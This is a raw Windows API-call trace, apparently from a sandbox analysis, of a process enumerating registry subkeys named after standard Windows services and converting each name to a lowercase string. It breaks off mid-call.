[0239.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0239.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.234] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0239.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0239.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.234] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0239.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0239.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.234] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0239.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0239.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.234] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0239.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0239.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0239.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0239.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0239.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0239.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0239.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0239.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.236] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0239.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0239.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.236] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0239.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0239.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.236] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0239.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0239.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.236] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0239.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0239.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.237] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0239.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0239.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.237] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0239.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0239.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.237] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0239.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1e38, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0239.237] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0239.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0239.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0239.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0239.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0239.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0239.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f1928, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0239.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0239.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0239.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f1e38, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0239.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0239.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0239.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f1928, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0239.238] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0239.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0239.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f1e38, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0239.239] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0239.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0239.239] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0239.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0239.239] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0239.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0239.239] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0239.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0239.239] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0239.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0239.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f1928, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0239.240] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: 